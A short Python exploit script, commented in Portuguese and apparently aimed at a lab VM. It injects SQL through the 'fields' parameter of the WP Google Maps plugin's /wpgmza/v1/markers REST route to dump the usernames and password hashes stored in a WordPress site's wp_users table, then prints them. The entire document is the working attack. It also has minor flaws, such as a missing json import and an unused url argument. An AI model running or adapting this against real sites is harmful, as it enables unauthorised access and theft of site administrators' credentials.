#!/usr/bin/env python

import requests

URL = "" # adicione a url da vm
query = "* from wp_users-- -"

def executa_tudo(url, query):

        PARAM = {'rest_route':"/wpgmza/v1/markers",
        'filter':"{}",
        'fields':query}

        r = requests.get(url = URL, params = PARAM)

        json_string = r.text

        for i in "[]":
                json_string = json_string.replace(i, "")

        py_objeto = json.loads(json_string)
        login = py_objeto["user_login"]
        passwd = py_objeto["user_pass"]
        return (login, passwd)

login, passwd = executa_tudo(URL, query)

print("\n","login:",login, "\n","senha:",passwd)